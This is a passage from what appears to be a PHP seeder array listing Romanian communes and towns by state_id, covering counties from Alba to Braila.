['state_id' => '2934', 'name' => 'blandiana'],\n ['state_id' => '2934', 'name' => 'bucium'],\n ['state_id' => '2934', 'name' => 'calnic'],\n ['state_id' => '2934', 'name' => 'campeni'],\n ['state_id' => '2934', 'name' => 'cenade'],\n ['state_id' => '2934', 'name' => 'cergau'],\n ['state_id' => '2934', 'name' => 'ceru-bacainti'],\n ['state_id' => '2934', 'name' => 'cetatea de balta'],\n ['state_id' => '2934', 'name' => 'ciugud'],\n ['state_id' => '2934', 'name' => 'ciuruleasa'],\n ['state_id' => '2934', 'name' => 'craciunelu de jos'],\n ['state_id' => '2934', 'name' => 'cricau'],\n ['state_id' => '2934', 'name' => 'cugir'],\n ['state_id' => '2934', 'name' => 'daia romana'],\n ['state_id' => '2934', 'name' => 'dostat'],\n ['state_id' => '2934', 'name' => 'farau'],\n ['state_id' => '2934', 'name' => 'galda de jos'],\n ['state_id' => '2934', 'name' => 'garbova'],\n ['state_id' => '2934', 'name' => 'garda de sus'],\n ['state_id' => '2934', 'name' => 'hoparta'],\n ['state_id' => '2934', 'name' => 'horea'],\n ['state_id' => '2934', 'name' => 'ighiu'],\n ['state_id' => '2934', 'name' => 'intregalde'],\n ['state_id' => '2934', 'name' => 'jidvei'],\n ['state_id' => '2934', 'name' => 'livezile'],\n ['state_id' => '2934', 'name' => 'lopadea noua'],\n ['state_id' => '2934', 'name' => 'lunca muresului'],\n ['state_id' => '2934', 'name' => 'lupsa'],\n ['state_id' => '2934', 'name' => 'metes'],\n ['state_id' => '2934', 'name' => 'mihalt'],\n ['state_id' => '2934', 'name' => 'miraslau'],\n ['state_id' => '2934', 'name' => 'mogos'],\n ['state_id' => '2934', 'name' => 'noslac'],\n ['state_id' => '2934', 'name' => 'ocna mures'],\n ['state_id' => '2934', 'name' => 'ocolis'],\n ['state_id' => '2934', 'name' => 'ohaba'],\n ['state_id' => '2934', 'name' => 'pianu'],\n ['state_id' => '2934', 'name' => 'poiana vadului'],\n ['state_id' => '2934', 'name' => 'ponor'],\n ['state_id' => '2934', 'name' => 'posaga'],\n ['state_id' => '2934', 'name' => 'radesti'],\n ['state_id' => '2934', 'name' => 'ramet'],\n ['state_id' => '2934', 'name' => 'rimetea'],\n ['state_id' => '2934', 'name' => 'rosia montana'],\n ['state_id' => '2934', 'name' => 'rosia de secas'],\n ['state_id' => '2934', 'name' => 'salciua'],\n ['state_id' => '2934', 'name' => 'salistea'],\n ['state_id' => '2934', 'name' => 'sancel'],\n ['state_id' => '2934', 'name' => 'santimbru'],\n ['state_id' => '2934', 'name' => 'sasciori'],\n ['state_id' => '2934', 'name' => 'scarisoara'],\n ['state_id' => '2934', 'name' => 'sebes'],\n ['state_id' => '2934', 'name' => 'sibot'],\n ['state_id' => '2934', 'name' => 'sohodol'],\n ['state_id' => '2934', 'name' => 'sona'],\n ['state_id' => '2934', 'name' => 'spring'],\n ['state_id' => '2934', 'name' => 'stremt'],\n ['state_id' => '2934', 'name' => 'sugag'],\n ['state_id' => '2934', 'name' => 'teius'],\n ['state_id' => '2934', 'name' => 'unirea'],\n ['state_id' => '2934', 'name' => 'vadu motilor'],\n ['state_id' => '2934', 'name' => 'valea lunga'],\n ['state_id' => '2934', 'name' => 'vidra'],\n ['state_id' => '2934', 'name' => 'vintu de jos'],\n ['state_id' => '2934', 'name' => 'zlatna'],\n ['state_id' => '2935', 'name' => 'almas'],\n ['state_id' => '2935', 'name' => 'apateu'],\n ['state_id' => '2935', 'name' => 'arad'],\n ['state_id' => '2935', 'name' => 'archis'],\n ['state_id' => '2935', 'name' => 'barsa'],\n ['state_id' => '2935', 'name' => 'barzava'],\n ['state_id' => '2935', 'name' => 'bata'],\n ['state_id' => '2935', 'name' => 'beliu'],\n ['state_id' => '2935', 'name' => 'birchis'],\n ['state_id' => '2935', 'name' => 'bocsig'],\n ['state_id' => '2935', 'name' => 'brazii'],\n ['state_id' => '2935', 'name' => 'buteni'],\n ['state_id' => '2935', 'name' => 'carand'],\n ['state_id' => '2935', 'name' => 'cermei'],\n ['state_id' => '2935', 'name' => 'chisindia'],\n ['state_id' => '2935', 'name' => 'chisineu cris'],\n ['state_id' => '2935', 'name' => 'conop'],\n ['state_id' => '2935', 'name' => 'covasint'],\n ['state_id' => '2935', 'name' => 'craiva'],\n ['state_id' => '2935', 'name' => 'curtici'],\n ['state_id' => '2935', 'name' => 'dezna'],\n ['state_id' => '2935', 'name' => 'dieci'],\n ['state_id' => '2935', 'name' => 'dorgos'],\n ['state_id' => '2935', 'name' => 'fantanele'],\n ['state_id' => '2935', 'name' => 'felnac'],\n ['state_id' => '2935', 'name' => 'ghioroc'],\n ['state_id' => '2935', 'name' => 'graniceri'],\n ['state_id' => '2935', 'name' => 'gurahont'],\n ['state_id' => '2935', 'name' => 'halmagel'],\n ['state_id' => '2935', 'name' => 'halmagiu'],\n ['state_id' => '2935', 'name' => 'hasmas'],\n ['state_id' => '2935', 'name' => 'ignesti'],\n ['state_id' => '2935', 'name' => 'ineu'],\n ['state_id' => '2935', 'name' => 'iratosu'],\n ['state_id' => '2935', 'name' => 'lipova'],\n ['state_id' => '2935', 'name' => 'livada'],\n ['state_id' => '2935', 'name' => 'macea'],\n ['state_id' => '2935', 'name' => 'masca'],\n ['state_id' => '2935', 'name' => 'moneasa'],\n ['state_id' => '2935', 'name' => 'nadlac'],\n ['state_id' => '2935', 'name' => 'olari'],\n ['state_id' => '2935', 'name' => 'pancota'],\n ['state_id' => '2935', 'name' => 'paulis'],\n ['state_id' => '2935', 'name' => 'pecica'],\n ['state_id' => '2935', 'name' => 'peregu mare'],\n ['state_id' => '2935', 'name' => 'petris'],\n ['state_id' => '2935', 'name' => 'pilu'],\n ['state_id' => '2935', 'name' => 'plescuta'],\n ['state_id' => '2935', 'name' => 'sagu'],\n ['state_id' => '2935', 'name' => 'santana'],\n ['state_id' => '2935', 'name' => 'savarsin'],\n ['state_id' => '2935', 'name' => 'sebis'],\n ['state_id' => '2935', 'name' => 'secusigiu'],\n ['state_id' => '2935', 'name' => 'seitin'],\n ['state_id' => '2935', 'name' => 'seleus'],\n ['state_id' => '2935', 'name' => 'semlac'],\n ['state_id' => '2935', 'name' => 'sepreus'],\n ['state_id' => '2935', 'name' => 'sicula'],\n ['state_id' => '2935', 'name' => 'silindia'],\n ['state_id' => '2935', 'name' => 'simand'],\n ['state_id' => '2935', 'name' => 'sintea mare'],\n ['state_id' => '2935', 'name' => 'siria'],\n ['state_id' => '2935', 'name' => 'sistarovat'],\n ['state_id' => '2935', 'name' => 'socodor'],\n ['state_id' => '2935', 'name' => 'sofronea'],\n ['state_id' => '2935', 'name' => 'tarnova'],\n ['state_id' => '2935', 'name' => 'taut'],\n ['state_id' => '2935', 'name' => 'varadia de mures'],\n ['state_id' => '2935', 'name' => 'varfurile'],\n ['state_id' => '2935', 'name' => 'vinga'],\n ['state_id' => '2935', 'name' => 'vladimirescu'],\n ['state_id' => '2935', 'name' => 'zabrani'],\n ['state_id' => '2935', 'name' => 'zarand'],\n ['state_id' => '2935', 'name' => 'zerind'],\n ['state_id' => '2935', 'name' => 'zimandu nou'],\n ['state_id' => '2936', 'name' => 'albesti'],\n ['state_id' => '2936', 'name' => 'albestii-pamanteni'],\n ['state_id' => '2936', 'name' => 'albota'],\n ['state_id' => '2936', 'name' => 'aninoasa'],\n ['state_id' => '2936', 'name' => 'arefu'],\n ['state_id' => '2936', 'name' => 'babana'],\n ['state_id' => '2936', 'name' => 'baiculesti'],\n ['state_id' => '2936', 'name' => 'balilesti'],\n ['state_id' => '2936', 'name' => 'barla'],\n ['state_id' => '2936', 'name' => 'bascov'],\n ['state_id' => '2936', 'name' => 'beleti-negresti'],\n ['state_id' => '2936', 'name' => 'berevoesti'],\n ['state_id' => '2936', 'name' => 'bogati'],\n ['state_id' => '2936', 'name' => 'boteni'],\n ['state_id' => '2936', 'name' => 'botesti'],\n ['state_id' => '2936', 'name' => 'bradu'],\n ['state_id' => '2936', 'name' => 'bradulet'],\n ['state_id' => '2936', 'name' => 'budeasa'],\n ['state_id' => '2936', 'name' => 'bughea de jos'],\n ['state_id' => '2936', 'name' => 'buzoesti'],\n ['state_id' => '2936', 'name' => 'caldararu'],\n ['state_id' => '2936', 'name' => 'calinesti'],\n ['state_id' => '2936', 'name' => 'campulung'],\n ['state_id' => '2936', 'name' => 'cateasca'],\n ['state_id' => '2936', 'name' => 'cepari'],\n ['state_id' => '2936', 'name' => 'cetateni'],\n ['state_id' => '2936', 'name' => 'cicanesti'],\n ['state_id' => '2936', 'name' => 'ciofrangeni'],\n ['state_id' => '2936', 'name' => 'ciomagesti'],\n ['state_id' => '2936', 'name' => 'cocu'],\n ['state_id' => '2936', 'name' => 'corbeni'],\n ['state_id' => '2936', 'name' => 'corbi'],\n ['state_id' => '2936', 'name' => 'cosesti'],\n ['state_id' => '2936', 'name' => 'costesti'],\n ['state_id' => '2936', 'name' => 'cotmeana'],\n ['state_id' => '2936', 'name' => 'cuca'],\n ['state_id' => '2936', 'name' => 'curtea de arges'],\n ['state_id' => '2936', 'name' => 'dambovicioara'],\n ['state_id' => '2936', 'name' => 'darmanesti'],\n ['state_id' => '2936', 'name' => 'davidesti'],\n ['state_id' => '2936', 'name' => 'dobresti'],\n ['state_id' => '2936', 'name' => 'domnesti'],\n ['state_id' => '2936', 'name' => 'draganu'],\n ['state_id' => '2936', 'name' => 'dragoslavele'],\n ['state_id' => '2936', 'name' => 'godeni'],\n ['state_id' => '2936', 'name' => 'harsesti'],\n ['state_id' => '2936', 'name' => 'hartiesti'],\n ['state_id' => '2936', 'name' => 'izvoru'],\n ['state_id' => '2936', 'name' => 'leordeni'],\n ['state_id' => '2936', 'name' => 'leresti'],\n ['state_id' => '2936', 'name' => 'lunca corbului'],\n ['state_id' => '2936', 'name' => 'malureni'],\n ['state_id' => '2936', 'name' => 'maracineni'],\n ['state_id' => '2936', 'name' => 'merisani'],\n ['state_id' => '2936', 'name' => 'micesti'],\n ['state_id' => '2936', 'name' => 'mihaesti'],\n ['state_id' => '2936', 'name' => 'mioarele'],\n ['state_id' => '2936', 'name' => 'mioveni'],\n ['state_id' => '2936', 'name' => 'mirosi'],\n ['state_id' => '2936', 'name' => 'moraresti'],\n ['state_id' => '2936', 'name' => 'mosoaia'],\n ['state_id' => '2936', 'name' => 'mozaceni'],\n ['state_id' => '2936', 'name' => 'musatesti'],\n ['state_id' => '2936', 'name' => 'negrasi'],\n ['state_id' => '2936', 'name' => 'nucsoara'],\n ['state_id' => '2936', 'name' => 'oarja'],\n ['state_id' => '2936', 'name' => 'pietrosani'],\n ['state_id' => '2936', 'name' => 'pitesti'],\n ['state_id' => '2936', 'name' => 'poenari'],\n ['state_id' => '2936', 'name' => 'poiana lacului'],\n ['state_id' => '2936', 'name' => 'popesti'],\n ['state_id' => '2936', 'name' => 'priboieni'],\n ['state_id' => '2936', 'name' => 'ratesti'],\n ['state_id' => '2936', 'name' => 'recea'],\n ['state_id' => '2936', 'name' => 'rociu'],\n ['state_id' => '2936', 'name' => 'rucar'],\n ['state_id' => '2936', 'name' => 'salatrucu'],\n ['state_id' => '2936', 'name' => 'sapata'],\n ['state_id' => '2936', 'name' => 'schitu-golesti'],\n ['state_id' => '2936', 'name' => 'slobozia'],\n ['state_id' => '2936', 'name' => 'stalpeni'],\n ['state_id' => '2936', 'name' => 'stefan cel mare'],\n ['state_id' => '2936', 'name' => 'stefanesti'],\n ['state_id' => '2936', 'name' => 'stoenesti'],\n ['state_id' => '2936', 'name' => 'stolnici'],\n ['state_id' => '2936', 'name' => 'suici'],\n ['state_id' => '2936', 'name' => 'suseni'],\n ['state_id' => '2936', 'name' => 'teiu'],\n ['state_id' => '2936', 'name' => 'tigveni'],\n ['state_id' => '2936', 'name' => 'titesti'],\n ['state_id' => '2936', 'name' => 'topoloveni'],\n ['state_id' => '2936', 'name' => 'uda'],\n ['state_id' => '2936', 'name' => 'ungheni'],\n ['state_id' => '2936', 'name' => 'valea danului'],\n ['state_id' => '2936', 'name' => 'valea iasului'],\n ['state_id' => '2936', 'name' => 'valea mare-pravat'],\n ['state_id' => '2936', 'name' => 'vedea'],\n ['state_id' => '2936', 'name' => 'vladesti'],\n ['state_id' => '2937', 'name' => 'agas'],\n ['state_id' => '2937', 'name' => 'ardeoani'],\n ['state_id' => '2937', 'name' => 'asau'],\n ['state_id' => '2937', 'name' => 'bacau'],\n ['state_id' => '2937', 'name' => 'balcani'],\n ['state_id' => '2937', 'name' => 'barsanesti'],\n ['state_id' => '2937', 'name' => 'beresti-bistrita'],\n ['state_id' => '2937', 'name' => 'beresti-tazlau'],\n ['state_id' => '2937', 'name' => 'berzunti'],\n ['state_id' => '2937', 'name' => 'blagesti'],\n ['state_id' => '2937', 'name' => 'bogdanesti'],\n ['state_id' => '2937', 'name' => 'brusturoasa'],\n ['state_id' => '2937', 'name' => 'buhoci'],\n ['state_id' => '2937', 'name' => 'buhusi'],\n ['state_id' => '2937', 'name' => 'caiuti'],\n ['state_id' => '2937', 'name' => 'casin'],\n ['state_id' => '2937', 'name' => 'cleja'],\n ['state_id' => '2937', 'name' => 'colonesti'],\n ['state_id' => '2937', 'name' => 'comanesti'],\n ['state_id' => '2937', 'name' => 'corbasca'],\n ['state_id' => '2937', 'name' => 'cotofanesti'],\n ['state_id' => '2937', 'name' => 'damienesti'],\n ['state_id' => '2937', 'name' => 'darmanesti'],\n ['state_id' => '2937', 'name' => 'dealu morii'],\n ['state_id' => '2937', 'name' => 'dofteana'],\n ['state_id' => '2937', 'name' => 'faraoani'],\n ['state_id' => '2937', 'name' => 'filipeni'],\n ['state_id' => '2937', 'name' => 'filipesti'],\n ['state_id' => '2937', 'name' => 'gaiceana'],\n ['state_id' => '2937', 'name' => 'garleni'],\n ['state_id' => '2937', 'name' => 'ghimes-faget'],\n ['state_id' => '2937', 'name' => 'glavanesti'],\n ['state_id' => '2937', 'name' => 'gura vaii'],\n ['state_id' => '2937', 'name' => 'helegiu'],\n ['state_id' => '2937', 'name' => 'hemeius'],\n ['state_id' => '2937', 'name' => 'horgesti'],\n ['state_id' => '2937', 'name' => 'huruesti'],\n ['state_id' => '2937', 'name' => 'izvoru berheciului'],\n ['state_id' => '2937', 'name' => 'letea veche'],\n ['state_id' => '2937', 'name' => 'lipova'],\n ['state_id' => '2937', 'name' => 'livezi'],\n ['state_id' => '2937', 'name' => 'luizi-calugara'],\n ['state_id' => '2937', 'name' => 'magiresti'],\n ['state_id' => '2937', 'name' => 'magura'],\n ['state_id' => '2937', 'name' => 'manastirea casin'],\n ['state_id' => '2937', 'name' => 'margineni'],\n ['state_id' => '2937', 'name' => 'moinesti'],\n ['state_id' => '2937', 'name' => 'motoseni'],\n ['state_id' => '2937', 'name' => 'negri'],\n ['state_id' => '2937', 'name' => 'nicolae balcescu'],\n ['state_id' => '2937', 'name' => 'oituz'],\n ['state_id' => '2937', 'name' => 'oncesti'],\n ['state_id' => '2937', 'name' => 'onesti'],\n ['state_id' => '2937', 'name' => 'orbeni'],\n ['state_id' => '2937', 'name' => 'palanca'],\n ['state_id' => '2937', 'name' => 'pancesti'],\n ['state_id' => '2937', 'name' => 'parava'],\n ['state_id' => '2937', 'name' => 'pargaresti'],\n ['state_id' => '2937', 'name' => 'parincea'],\n ['state_id' => '2937', 'name' => 'parjol'],\n ['state_id' => '2937', 'name' => 'plopana'],\n ['state_id' => '2937', 'name' => 'podu turcului'],\n ['state_id' => '2937', 'name' => 'poduri'],\n ['state_id' => '2937', 'name' => 'racaciuni'],\n ['state_id' => '2937', 'name' => 'rachitoasa'],\n ['state_id' => '2937', 'name' => 'racova'],\n ['state_id' => '2937', 'name' => 'rosiori'],\n ['state_id' => '2937', 'name' => 'sanduleni'],\n ['state_id' => '2937', 'name' => 'sascut'],\n ['state_id' => '2937', 'name' => 'saucesti'],\n ['state_id' => '2937', 'name' => 'scorteni'],\n ['state_id' => '2937', 'name' => 'secuieni'],\n ['state_id' => '2937', 'name' => 'slanic-moldova'],\n ['state_id' => '2937', 'name' => 'solont'],\n ['state_id' => '2937', 'name' => 'stanisesti'],\n ['state_id' => '2937', 'name' => 'stefan cel mare'],\n ['state_id' => '2937', 'name' => 'strugari'],\n ['state_id' => '2937', 'name' => 'tamasi'],\n ['state_id' => '2937', 'name' => 'targu ocna'],\n ['state_id' => '2937', 'name' => 'targu-trotus'],\n ['state_id' => '2937', 'name' => 'tatarasti'],\n ['state_id' => '2937', 'name' => 'traian'],\n ['state_id' => '2937', 'name' => 'ungureni'],\n ['state_id' => '2937', 'name' => 'urechesti'],\n ['state_id' => '2937', 'name' => 'valea seaca'],\n ['state_id' => '2937', 'name' => 'vultureni'],\n ['state_id' => '2937', 'name' => 'zemes'],\n ['state_id' => '2938', 'name' => 'abram'],\n ['state_id' => '2938', 'name' => 'abramut'],\n ['state_id' => '2938', 'name' => 'alesd'],\n ['state_id' => '2938', 'name' => 'astileu'],\n ['state_id' => '2938', 'name' => 'auseu'],\n ['state_id' => '2938', 'name' => 'avram iancu'],\n ['state_id' => '2938', 'name' => 'balc'],\n ['state_id' => '2938', 'name' => 'batar'],\n ['state_id' => '2938', 'name' => 'beius'],\n ['state_id' => '2938', 'name' => 'biharia'],\n ['state_id' => '2938', 'name' => 'boianu mare'],\n ['state_id' => '2938', 'name' => 'borod'],\n ['state_id' => '2938', 'name' => 'bors'],\n ['state_id' => '2938', 'name' => 'bratca'],\n ['state_id' => '2938', 'name' => 'brusturi'],\n ['state_id' => '2938', 'name' => 'budureasa'],\n ['state_id' => '2938', 'name' => 'buduslau'],\n ['state_id' => '2938', 'name' => 'bulz'],\n ['state_id' => '2938', 'name' => 'buntesti'],\n ['state_id' => '2938', 'name' => 'cabesti'],\n ['state_id' => '2938', 'name' => 'campani'],\n ['state_id' => '2938', 'name' => 'capalna'],\n ['state_id' => '2938', 'name' => 'carpinet'],\n ['state_id' => '2938', 'name' => 'cefa'],\n ['state_id' => '2938', 'name' => 'ceica'],\n ['state_id' => '2938', 'name' => 'cetariu'],\n ['state_id' => '2938', 'name' => 'cherechiu'],\n ['state_id' => '2938', 'name' => 'chislaz'],\n ['state_id' => '2938', 'name' => 'ciuhoiu'],\n ['state_id' => '2938', 'name' => 'ciumeghiu'],\n ['state_id' => '2938', 'name' => 'cociuba mare'],\n ['state_id' => '2938', 'name' => 'copacel'],\n ['state_id' => '2938', 'name' => 'cristioru de jos'],\n ['state_id' => '2938', 'name' => 'curatele'],\n ['state_id' => '2938', 'name' => 'curtuiseni'],\n ['state_id' => '2938', 'name' => 'derna'],\n ['state_id' => '2938', 'name' => 'diosig'],\n ['state_id' => '2938', 'name' => 'dobresti'],\n ['state_id' => '2938', 'name' => 'draganesti'],\n ['state_id' => '2938', 'name' => 'dragesti'],\n ['state_id' => '2938', 'name' => 'finis'],\n ['state_id' => '2938', 'name' => 'girisu de cris'],\n ['state_id' => '2938', 'name' => 'hidiselu de sus'],\n ['state_id' => '2938', 'name' => 'holod'],\n ['state_id' => '2938', 'name' => 'husasau de tinca'],\n ['state_id' => '2938', 'name' => 'ineu'],\n ['state_id' => '2938', 'name' => 'lazareni'],\n ['state_id' => '2938', 'name' => 'lazuri de beius'],\n ['state_id' => '2938', 'name' => 'lugasu de jos'],\n ['state_id' => '2938', 'name' => 'lunca'],\n ['state_id' => '2938', 'name' => 'madaras'],\n ['state_id' => '2938', 'name' => 'magesti'],\n ['state_id' => '2938', 'name' => 'marghita'],\n ['state_id' => '2938', 'name' => 'nojorid'],\n ['state_id' => '2938', 'name' => 'nucet'],\n ['state_id' => '2938', 'name' => 'olcea'],\n ['state_id' => '2938', 'name' => 'oradea'],\n ['state_id' => '2938', 'name' => 'osorheiu'],\n ['state_id' => '2938', 'name' => 'pietroasa'],\n ['state_id' => '2938', 'name' => 'pocola'],\n ['state_id' => '2938', 'name' => 'pomezeu'],\n ['state_id' => '2938', 'name' => 'popesti'],\n ['state_id' => '2938', 'name' => 'rabagani'],\n ['state_id' => '2938', 'name' => 'remetea'],\n ['state_id' => '2938', 'name' => 'rieni'],\n ['state_id' => '2938', 'name' => 'rosia'],\n ['state_id' => '2938', 'name' => 'sacadat'],\n ['state_id' => '2938', 'name' => 'sacueni'],\n ['state_id' => '2938', 'name' => 'salacea'],\n ['state_id' => '2938', 'name' => 'salard'],\n ['state_id' => '2938', 'name' => 'salonta'],\n ['state_id' => '2938', 'name' => 'sambata'],\n ['state_id' => '2938', 'name' => 'sanmartin'],\n ['state_id' => '2938', 'name' => 'santandrei'],\n ['state_id' => '2938', 'name' => 'sarbi'],\n ['state_id' => '2938', 'name' => 'simian'],\n ['state_id' => '2938', 'name' => 'sinteu'],\n ['state_id' => '2938', 'name' => 'soimi'],\n ['state_id' => '2938', 'name' => 'spinus'],\n ['state_id' => '2938', 'name' => 'stei'],\n ['state_id' => '2938', 'name' => 'suncuius'],\n ['state_id' => '2938', 'name' => 'suplacu de barcau'],\n ['state_id' => '2938', 'name' => 'tarcaia'],\n ['state_id' => '2938', 'name' => 'tarcea'],\n ['state_id' => '2938', 'name' => 'tauteu'],\n ['state_id' => '2938', 'name' => 'tetchea'],\n ['state_id' => '2938', 'name' => 'tileagd'],\n ['state_id' => '2938', 'name' => 'tinca'],\n ['state_id' => '2938', 'name' => 'tulca'],\n ['state_id' => '2938', 'name' => 'uileacu de beius'],\n ['state_id' => '2938', 'name' => 'vadu crisului'],\n ['state_id' => '2938', 'name' => 'valea lui mihai'],\n ['state_id' => '2938', 'name' => 'varciorog'],\n ['state_id' => '2938', 'name' => 'vascau'],\n ['state_id' => '2938', 'name' => 'viisoara'],\n ['state_id' => '2939', 'name' => 'beclean'],\n ['state_id' => '2939', 'name' => 'bistrita'],\n ['state_id' => '2939', 'name' => 'bistrita bargaului'],\n ['state_id' => '2939', 'name' => 'branistea'],\n ['state_id' => '2939', 'name' => 'budacu de jos'],\n ['state_id' => '2939', 'name' => 'budesti'],\n ['state_id' => '2939', 'name' => 'caianu mic'],\n ['state_id' => '2939', 'name' => 'cetate'],\n ['state_id' => '2939', 'name' => 'chiochis'],\n ['state_id' => '2939', 'name' => 'chiuza'],\n ['state_id' => '2939', 'name' => 'ciceu-giurgesti'],\n ['state_id' => '2939', 'name' => 'cosbuc'],\n ['state_id' => '2939', 'name' => 'dumitra'],\n ['state_id' => '2939', 'name' => 'feldru'],\n ['state_id' => '2939', 'name' => 'galatii bistritei'],\n ['state_id' => '2939', 'name' => 'ilva mare'],\n ['state_id' => '2939', 'name' => 'ilva mica'],\n ['state_id' => '2939', 'name' => 'josenii bargaului'],\n ['state_id' => '2939', 'name' => 'lechinta'],\n ['state_id' => '2939', 'name' => 'lesu'],\n ['state_id' => '2939', 'name' => 'livezile'],\n ['state_id' => '2939', 'name' => 'lunca ilvei'],\n ['state_id' => '2939', 'name' => 'magura ilvei'],\n ['state_id' => '2939', 'name' => 'maieru'],\n ['state_id' => '2939', 'name' => 'mariselu'],\n ['state_id' => '2939', 'name' => 'matei'],\n ['state_id' => '2939', 'name' => 'micestii de campie'],\n ['state_id' => '2939', 'name' => 'milas'],\n ['state_id' => '2939', 'name' => 'monor'],\n ['state_id' => '2939', 'name' => 'nasaud'],\n ['state_id' => '2939', 'name' => 'nimigea'],\n ['state_id' => '2939', 'name' => 'nuseni'],\n ['state_id' => '2939', 'name' => 'parva'],\n ['state_id' => '2939', 'name' => 'petru rares'],\n ['state_id' => '2939', 'name' => 'prundu bargaului'],\n ['state_id' => '2939', 'name' => 'rebra'],\n ['state_id' => '2939', 'name' => 'rebrisoara'],\n ['state_id' => '2939', 'name' => 'rodna'],\n ['state_id' => '2939', 'name' => 'romuli'],\n ['state_id' => '2939', 'name' => 'salva'],\n ['state_id' => '2939', 'name' => 'sangeorz-bai'],\n ['state_id' => '2939', 'name' => 'sanmihaiu de campie'],\n ['state_id' => '2939', 'name' => 'sant'],\n ['state_id' => '2939', 'name' => 'sieu'],\n ['state_id' => '2939', 'name' => 'sieu-magherus'],\n ['state_id' => '2939', 'name' => 'sieu-odorhei'],\n ['state_id' => '2939', 'name' => 'sieut'],\n ['state_id' => '2939', 'name' => 'silvasu de campie'],\n ['state_id' => '2939', 'name' => 'sintereag'],\n ['state_id' => '2939', 'name' => 'spermezeu'],\n ['state_id' => '2939', 'name' => 'tarlisua'],\n ['state_id' => '2939', 'name' => 'teaca'],\n ['state_id' => '2939', 'name' => 'telciu'],\n ['state_id' => '2939', 'name' => 'tiha bargaului'],\n ['state_id' => '2939', 'name' => 'uriu'],\n ['state_id' => '2939', 'name' => 'urmenis'],\n ['state_id' => '2939', 'name' => 'zagra'],\n ['state_id' => '2940', 'name' => 'albesti'],\n ['state_id' => '2940', 'name' => 'avrameni'],\n ['state_id' => '2940', 'name' => 'baluseni'],\n ['state_id' => '2940', 'name' => 'botosani'],\n ['state_id' => '2940', 'name' => 'braesti'],\n ['state_id' => '2940', 'name' => 'broscauti'],\n ['state_id' => '2940', 'name' => 'bucecea'],\n ['state_id' => '2940', 'name' => 'calarasi'],\n ['state_id' => '2940', 'name' => 'concesti'],\n ['state_id' => '2940', 'name' => 'copalau'],\n ['state_id' => '2940', 'name' => 'cordareni'],\n ['state_id' => '2940', 'name' => 'corlateni'],\n ['state_id' => '2940', 'name' => 'corni'],\n ['state_id' => '2940', 'name' => 'cotusca'],\n ['state_id' => '2940', 'name' => 'cristesti'],\n ['state_id' => '2940', 'name' => 'cristinesti'],\n ['state_id' => '2940', 'name' => 'curtesti'],\n ['state_id' => '2940', 'name' => 'dangeni'],\n ['state_id' => '2940', 'name' => 'darabani'],\n ['state_id' => '2940', 'name' => 'dersca'],\n ['state_id' => '2940', 'name' => 'dobarceni'],\n ['state_id' => '2940', 'name' => 'dorohoi'],\n ['state_id' => '2940', 'name' => 'draguseni'],\n ['state_id' => '2940', 'name' => 'durnesti'],\n ['state_id' => '2940', 'name' => 'flamanzi'],\n ['state_id' => '2940', 'name' => 'frumusica'],\n ['state_id' => '2940', 'name' => 'george enescu'],\n ['state_id' => '2940', 'name' => 'gorbanesti'],\n ['state_id' => '2940', 'name' => 'hanesti'],\n ['state_id' => '2940', 'name' => 'havarna'],\n ['state_id' => '2940', 'name' => 'hiliseu-horia'],\n ['state_id' => '2940', 'name' => 'hlipiceni'],\n ['state_id' => '2940', 'name' => 'hudesti'],\n ['state_id' => '2940', 'name' => 'ibanesti'],\n ['state_id' => '2940', 'name' => 'leorda'],\n ['state_id' => '2940', 'name' => 'lunca'],\n ['state_id' => '2940', 'name' => 'manoleasa'],\n ['state_id' => '2940', 'name' => 'mihail eminescu'],\n ['state_id' => '2940', 'name' => 'mihaileni'],\n ['state_id' => '2940', 'name' => 'mihalaseni'],\n ['state_id' => '2940', 'name' => 'mileanca'],\n ['state_id' => '2940', 'name' => 'mitoc'],\n ['state_id' => '2940', 'name' => 'nicseni'],\n ['state_id' => '2940', 'name' => 'paltinis'],\n ['state_id' => '2940', 'name' => 'pomarla'],\n ['state_id' => '2940', 'name' => 'prajeni'],\n ['state_id' => '2940', 'name' => 'rachiti'],\n ['state_id' => '2940', 'name' => 'radauti-prut'],\n ['state_id' => '2940', 'name' => 'rauseni'],\n ['state_id' => '2940', 'name' => 'ripiceni'],\n ['state_id' => '2940', 'name' => 'roma'],\n ['state_id' => '2940', 'name' => 'romanesti'],\n ['state_id' => '2940', 'name' => 'santa-maria'],\n ['state_id' => '2940', 'name' => 'saveni'],\n ['state_id' => '2940', 'name' => 'sendriceni'],\n ['state_id' => '2940', 'name' => 'stauceni'],\n ['state_id' => '2940', 'name' => 'stefanesti'],\n ['state_id' => '2940', 'name' => 'stiubieni'],\n ['state_id' => '2940', 'name' => 'suharau'],\n ['state_id' => '2940', 'name' => 'sulita'],\n ['state_id' => '2940', 'name' => 'todireni'],\n ['state_id' => '2940', 'name' => 'trusesti'],\n ['state_id' => '2940', 'name' => 'tudora'],\n ['state_id' => '2940', 'name' => 'ungureni'],\n ['state_id' => '2940', 'name' => 'unteni'],\n ['state_id' => '2940', 'name' => 'vaculesti'],\n ['state_id' => '2940', 'name' => 'varfu campului'],\n ['state_id' => '2940', 'name' => 'viisoara'],\n ['state_id' => '2940', 'name' => 'vladeni'],\n ['state_id' => '2940', 'name' => 'vlasinesti'],\n ['state_id' => '2940', 'name' => 'vorniceni'],\n ['state_id' => '2940', 'name' => 'vorona'],\n ['state_id' => '2941', 'name' => 'baraganul'],\n ['state_id' => '2941', 'name' => 'bertestii de jos'],\n ['state_id' => '2941', 'name' => 'bordei verde'],\n ['state_id' => '2941', 'name' => 'braila'],\n ['state_id' => '2941', 'name' => 'chiscani'],\n ['state_id' => '2941', 'name' => 'ciocile'],\n ['state_id' => '2941', 'name' => 'ciresu'],\n ['state_id' => '2941', 'name' => 'dudesti'],\n ['state_id' => '2941', 'name' => 'faurei'],\n ['state_id' => '2941', 'name' => 'frecatei'],\n ['state_id' => '2941', 'name' => 'galbenu'],\n ['state_id' => '2941', 'name' => 'gemenele'],\n ['state_id' => '2941', 'name' => 'gradistea'],\n ['state_id' => '2941', 'name' => 'gropeni'],\n ['state_id' => '2941', 'name' => 'ianca'],\n ['state_id' => '2941', 'name' => 'insuratei'],\n ['state_id' => '2941', 'name' => 'jirlau'],\n ['state_id' => '2941', 'name' => 'marasu'],\n ['state_id' => '2941', 'name' => 'maxineni'],\n ['state_id' => '2941', 'name' => 'mircea voda'],\n ['state_id' => '2941', 'name' => 'movila miresei'],\n ['state_id' => '2941', 'name' => 'racovita'],\n ['state_id' => '2941', 'name' => 'ramnicelu'],\n ['state_id' => '2941', 'name' => 'romanu'],\n ['state_id' => '2941', 'name' => 'rosiori'],\n ['state_id' => '2941', 'name' => 'salcia tudor'],\n ['state_id' => '2941', 'name' => 'scortaru nou'],\n ['state_id' => 